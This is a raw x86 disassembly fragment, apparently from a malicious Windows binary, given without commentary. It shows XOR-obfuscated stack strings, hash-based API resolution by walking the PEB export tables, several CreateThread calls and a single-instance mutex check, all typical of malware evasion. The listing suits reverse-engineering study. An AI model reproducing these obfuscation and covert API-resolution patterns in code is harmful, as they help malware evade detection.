mov byte [ebp - 0x118], 0xc7
mov byte [ebp - 0x117], 0xda
mov byte [ebp - 0x116], 0xc6
mov byte [ebp - 0x115], 0xc0
mov byte [ebp - 0x114], 0xf9
mov byte [ebp - 0x113], 0xc9
mov byte [ebp - 0x112], 0xc7
mov byte [ebp - 0x111], 0xcf
mov byte [ebp - 0x110], 0xcf
mov byte [ebp - 0x10f], 0xd5
mov byte [ebp - 0x10e], 0xa1
mov al, byte [ebp - 0x118]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x118]
mov ecx, edx
and ecx, 0xf
mov eax, 0xa18364a1
cmp ecx, 0xf
mov edx, 0xdc471ac3
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x5f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x118], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0xb
jb 0x485600
lea eax, [ebp - 0x118]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x60]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x60]
xor edx, edx
mov byte [0x56db38], al
mov byte [ebp - 0x167], 0xb7
mov byte [ebp - 0x166], 0xa7
mov byte [ebp - 0x165], 0xbb
mov byte [ebp - 0x164], 0xb2
mov byte [ebp - 0x163], 0x89
mov byte [ebp - 0x162], 0xbb
mov byte [ebp - 0x161], 0xb9
mov byte [ebp - 0x160], 0xa0
mov byte [ebp - 0x15f], 0xae
mov byte [ebp - 0x15e], 0x84
mov byte [ebp - 0x15d], 0x8f
mov byte [ebp - 0x15c], 0x8d
mov byte [ebp - 0x15b], 0x8d
mov byte [ebp - 0x15a], 0x92
mov byte [ebp - 0x159], 0x9f
mov byte [ebp - 0x158], 0xe8
mov al, byte [ebp - 0x167]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x167]
mov ecx, edx
and ecx, 0xf
mov eax, 0xd1ada3d7
cmp ecx, 0xf
mov edx, 0xe94b8012
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x29]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x167], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x10
jb 0x4856e0
lea eax, [ebp - 0x167]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x61]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x61]
xor edx, edx
mov byte [0x56db58], al
mov byte [ebp - 0xf2], 0x37
mov byte [ebp - 0xf1], 0x29
mov byte [ebp - 0xf0], 0x3b
mov byte [ebp - 0xef], 7
mov byte [ebp - 0xee], 0x3b
mov byte [ebp - 0xed], 0x16
mov byte [ebp - 0xec], 0x1a
mov byte [ebp - 0xeb], 0xb
mov byte [ebp - 0xea], 0x6c
mov al, byte [ebp - 0xf2]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xf2]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xf2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485790
lea eax, [ebp - 0xf2]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x53]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x53]
xor edx, edx
mov byte [0x56db57], al
mov byte [ebp - 0xfb], 0x25
mov byte [ebp - 0xfa], 0x28
mov byte [ebp - 0xf9], 0x3f
mov byte [ebp - 0xf8], 0x3a
mov byte [ebp - 0xf7], 0xc
mov byte [ebp - 0xf6], 0x16
mov byte [ebp - 0xf5], 4
mov byte [ebp - 0xf4], 6
mov byte [ebp - 0xf3], 0x6c
mov al, byte [ebp - 0xfb]
mov dword [ebp - 0x10], edx
nop dword [eax]
mov bl, byte [ebp + edx - 0xfb]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xfb], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485840
lea eax, [ebp - 0xfb]
mov ecx, 0x570060
push eax
call fcn.0048eef0
lea edx, [ebp - 0x54]
mov ecx, eax
call fcn.004a07f0
mov al, byte [ebp - 0x54]
mov byte [0x56ff56], al
jmp 0x4858aa
mov al, byte [0x56ff56]
cmp byte [0x56ff57], 0
jne 0x486c9a
call fcn.004601a0
call fcn.00465d00
mov ecx, 0x570018
call fcn.00487740
mov ecx, 0x5700ac
call fcn.00487740
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x466d30
push 0
push 0
call esi
push 0
push 0
push 0
push 0x469540
push 0
push 0
mov dword [ebp - 0x88], eax
call esi
push 0
push 0
push 0
push 0x4767b0
push 0
push 0
mov dword [ebp - 0x8c], eax
call esi
mov dword [ebp - 0x90], eax
call fcn.0044d100
test al, al
je 0x485b0a
lea ecx, [ebp - 0x298]
call fcn.0044d610
mov esi, eax
mov byte [ebp - 4], 0x6b
xor edx, edx
mov byte [ebp - 0x9b], 0x1c
mov byte [ebp - 0x9a], 0x12
mov byte [ebp - 0x99], 0x14
mov byte [ebp - 0x98], 0x1b
mov byte [ebp - 0x97], 0x12
mov byte [ebp - 0x96], 6
mov byte [ebp - 0x95], 0x74
mov al, byte [ebp - 0x9b]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0x9b]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x9b], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x485980
lea eax, [ebp - 0x9b]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x1a0]
call fcn.004881c0
mov byte [ebp - 4], 0x6c
xor edx, edx
mov byte [ebp - 0x104], 6
mov byte [ebp - 0x103], 0x3a
mov byte [ebp - 0x102], 0x2f
mov byte [ebp - 0x101], 9
mov byte [ebp - 0x100], 0x10
mov byte [ebp - 0xff], 0x3f
mov byte [ebp - 0xfe], 0x23
mov byte [ebp - 0xfd], 0x20
mov byte [ebp - 0xfc], 0x6c
mov al, byte [ebp - 0x104]
mov dword [ebp - 0x10], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0x104]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x104], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 9
jb 0x485a30
lea eax, [ebp - 0x104]
mov ecx, 0x5700c8
push eax
call fcn.0048eef0
mov edi, eax
mov byte [ebp - 4], 0x6d
mov dl, byte [edi]
mov cl, byte [ebp - 0x1a0]
mov byte [edi], cl
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x194]
mov byte [ebp - 0x1a0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x198], edx
mov dword [ebp - 0x194], esi
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x198]
push dword [ebp - 0x1a0]
call fcn.0048bd40
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x290]
push dword [ebp - 0x298]
call fcn.0048bd40
cmp byte [0x56ff55], 0
je 0x485b05
mov eax, dword [0x56ff40]
test eax, eax
je 0x485afe
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov byte [0x56ff55], 0
mov edi, 0xf
lea ecx, [ebp - 0x2a8]
call fcn.0044ecd0
mov esi, eax
mov byte [ebp - 4], 0x6e
xor edx, edx
mov byte [ebp - 0xa2], 0x1c
mov byte [ebp - 0xa1], 0x12
mov byte [ebp - 0xa0], 0x14
mov byte [ebp - 0x9f], 0x1b
mov byte [ebp - 0x9e], 0x12
mov byte [ebp - 0x9d], 6
mov byte [ebp - 0x9c], 0x74
mov al, byte [ebp - 0xa2]
mov dword [ebp - 0x10], edx
nop word [eax + eax]
mov bl, byte [ebp + edx - 0xa2]
mov ecx, edx
and ecx, 0xf
mov eax, 0xabb1e879
cmp ecx, 0xf
mov edx, 0xf353896d
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx + 0x79]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xa2], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 7
jb 0x485b60
lea eax, [ebp - 0xa2]
mov ecx, esi
push eax
call fcn.0048eef0
push eax
lea ecx, [ebp - 0x1b0]
call fcn.004881c0
mov byte [ebp - 4], 0x6f
xor edx, edx
mov byte [ebp - 0x17a], 0xb7
mov byte [ebp - 0x179], 0x85
mov byte [ebp - 0x178], 0x89
mov byte [ebp - 0x177], 0x82
mov byte [ebp - 0x176], 0x80
mov byte [ebp - 0x175], 0x95
mov byte [ebp - 0x174], 0x98
mov byte [ebp - 0x173], 0xa0
mov byte [ebp - 0x172], 0x9c
mov byte [ebp - 0x171], 0x8f
mov byte [ebp - 0x170], 0x8e
mov byte [ebp - 0x16f], 0x89
mov byte [ebp - 0x16e], 0x87
mov byte [ebp - 0x16d], 0x93
mov byte [ebp - 0x16c], 0x89
mov byte [ebp - 0x16b], 0x9a
mov byte [ebp - 0x16a], 0x9c
mov byte [ebp - 0x169], 0x8f
mov byte [ebp - 0x168], 0xf7
mov al, byte [ebp - 0x17a]
mov dword [ebp - 0x10], edx
nop
mov bl, byte [ebp + edx - 0x17a]
mov ecx, edx
and ecx, 0xf
mov eax, 0xbc4a24e1
cmp ecx, 0xf
mov edx, 0xbf940107
cmovae ecx, edi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x10]
and al, 0xf
lea ecx, [edx - 0x1f]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x17a], al
inc edx
mov dword [ebp - 0x10], edx
cmp edx, 0x13
jb 0x485c50
lea eax, [ebp - 0x17a]
mov ecx, 0x5700c8
push eax
call fcn.0048eef0
mov edi, eax
mov byte [ebp - 4], 0x70
mov dl, byte [edi]
mov cl, byte [ebp - 0x1b0]
mov byte [edi], cl
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1a4]
mov byte [ebp - 0x1b0], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
mov dword [ebp - 0x1a8], edx
mov dword [ebp - 0x1a4], esi
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x1a8]
push dword [ebp - 0x1b0]
call fcn.0048bd40
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0x2a0]
push dword [ebp - 0x2a8]
call fcn.0048bd40
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x485d7a
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485d7a
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485d73
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485d56
cmp esi, 0x71948ca4
je 0x485d7e
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485d41
mov eax, dword [eax]
jmp 0x485d11
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x493e0
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0xf5
push 0xdb6729ee
call fcn.00411ed0
add esp, 8
push eax
push dword [ebp - 0x8c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x485e39
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485e39
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485e32
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485e15
cmp esi, 0x71948ca4
je 0x485e3d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485e00
mov eax, dword [eax]
jmp 0x485dd0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push 0x493e0
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x485ed9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485ed9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485ed2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485eb5
cmp esi, 0xfaba0065
je 0x485edd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485ea0
mov eax, dword [eax]
jmp 0x485e70
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x88]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x485f79
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x485f79
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x485f72
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485f55
cmp esi, 0xfaba0065
je 0x485f7d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485f40
mov eax, dword [eax]
jmp 0x485f10
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x20], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x14], ecx
cmp ecx, esi
je 0x486019
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486019
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486012
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x485ff5
cmp esi, 0xfaba0065
je 0x48601d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x485fe0
mov eax, dword [eax]
jmp 0x485fb0
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0x20]
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x477260
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x479640
push 0
push 0
mov dword [ebp - 0x90], eax
call ebx
push 0
push 0
push 0
push 0x47c670
push 0
push 0
mov dword [ebp - 0x8c], eax
call ebx
push 0
push 0
push 0
push 0x47e3c0
push 0
push 0
mov dword [ebp - 0x88], eax
call ebx
push 0
push 0
push 0
push 0x4813a0
push 0
push 0
mov dword [ebp - 0x10], eax
call ebx
push 0
push 0
push 0
push 0x481770
push 0
push 0
mov dword [ebp - 0x5c], eax
call ebx
push 0
push 0
push 0
push 0x482e40
push 0
push 0
mov dword [ebp - 0x20], eax
call ebx
sub esp, 0x18
mov dword [ebp - 0x14], eax
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0x56db74
call fcn.0048a660
mov byte [ebp - 4], 0x71
sub esp, 0x18
lea eax, [ebp - 0x368]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x72
sub esp, 0x18
lea eax, [ebp - 0x380]
mov dword [ebp - 0x94], esp
mov ecx, esp
push eax
call fcn.0048a660
mov byte [ebp - 4], 0x73
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x56db8c
call fcn.0048a660
mov byte [ebp - 4], 0x74
mov byte [ebp - 4], 0x6a
call fcn.00416de0
mov eax, dword fs:[0x30]
add esp, 0x60
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x18], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [edx + esi]
mov dword [ebp - 0x1c], ecx
cmp ecx, esi
je 0x4861b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4861b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4861b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486195
cmp esi, 0x71948ca4
je 0x4861bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486180
mov eax, dword [eax]
jmp 0x486150
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
push 0x493e0
push dword [ebp - 0x90]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x486259
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486259
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486252
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486235
cmp esi, 0x71948ca4
je 0x48625d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486220
mov eax, dword [eax]
jmp 0x4861f0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x8c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x88]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x486309
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x486309
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x486302
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x4862e5
cmp esi, 0x71948ca4
je 0x48630d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x4862d0
mov eax, dword [eax]
jmp 0x4862a0
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
push 0x493e0
push dword [ebp - 0x10]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, edx
call eax
push 0x493e0
push dword [ebp - 0x5c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [ebp - 0x1c], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x28], edx
lea ecx, [esi + edx]
mov dword [ebp - 0x18], ecx
cmp ecx, esi
je 0x4863b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x4863b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x4863b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x486395
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x486380
mov eax, dword [eax]
jmp 0x486350
test al, al
je 0x486ca9
cmp byte [ebp - 0x29], 0
jne 0x486ca9
call fcn.00425f90
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0x4fc]
call fcn.00487310
mov byte [ebp - 4], 0x3d
lea ecx, [ebp - 0x504]
call fcn.00487390
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0x1e0]
call fcn.0040b870
mov byte [ebp - 4], 0x3c
lea eax, [ebp - 0x1e0]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x380]
call fcn.0042eca0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x56ff56], 0
je 0x486f2a
cmp byte [ebp - 0x29], 0
je 0x486f2a
mov byte [ebp - 0x10d], 0x23
xor edx, edx
mov byte [ebp - 0x10c], 0x2b
mov esi, 0xf
mov byte [ebp - 0x10b], 0x3b
mov byte [ebp - 0x10a], 0x17
mov byte [ebp - 0x109], 0xf
mov byte [ebp - 0x108], 0xd
mov byte [ebp - 0x107], 5
mov byte [ebp - 0x106], 1
mov byte [ebp - 0x105], 0x6c
mov al, byte [ebp - 0x10d]
mov dword [ebp - 0x14], edx
nop
mov bl, byte [ebp + edx - 0x10d]
mov ecx, edx
and ecx, esi
mov eax, 0x1925555d
cmp ecx, esi
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0x10d], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x486d60
push 0x56dbbc
lea edx, [ebp - 0x10d]
lea ecx, [ebp - 0x4e8]
call fcn.0048ec50
add esp, 4
mov byte [ebp - 4], 0xa5
mov ecx, eax
call fcn.0040ba70
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0x4e8]
call fcn.0040b870
mov byte [ebp - 4], 0x1e
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x24], eax
mov byte [ebp - 4], 0x1e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x486e01
xor esi, esi
jmp 0x4870b4
mov byte [ebp - 0xb4], 0x18
xor edx, edx
mov byte [ebp - 0xb3], 0xd
mov byte [ebp - 0xb2], 0x14
mov byte [ebp - 0xb1], 0x26
mov byte [ebp - 0xb0], 0x4a
mov byte [ebp - 0xaf], 4
mov byte [ebp - 0xae], 6
mov byte [ebp - 0xad], 9
mov byte [ebp - 0xac], 0x6c
mov al, byte [ebp - 0xb4]
mov dword [ebp - 0x14], edx
nop dword [eax + eax]
mov bl, byte [ebp + edx - 0xb4]
mov ecx, edx
and ecx, 0xf
mov eax, 0x1925555d
cmp ecx, 0xf
mov edx, 0x83349529
cmovae ecx, esi
shl ecx, 2
call fcn.00521900
mov edx, dword [ebp - 0x14]
and al, 0xf
lea ecx, [edx + 0x5d]
xor al, cl
xor al, bl
mov byte [ebp + edx - 0xb4], al
inc edx
mov dword [ebp - 0x14], edx
cmp edx, 9
jb 0x486e50
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x24], esp
mov dword [ebp - 0x94], esi
mov ecx, esi
mov dword [ebp - 0x18], esi
call fcn.0040bbc0
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0xb4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x486eb5
sub ecx, edx
lea eax, [ebp - 0xb4]
push ecx
push eax
mov ecx, esi
call fcn.0040bb00
mov byte [ebp - 4], 0xb1
mov byte [ebp - 4], 0x1e
call fcn.0042ff50
mov ecx, dword [0x570134]
mov eax, 0x2aaaaaab
sub ecx, dword [0x570130]
add esp, 0x18
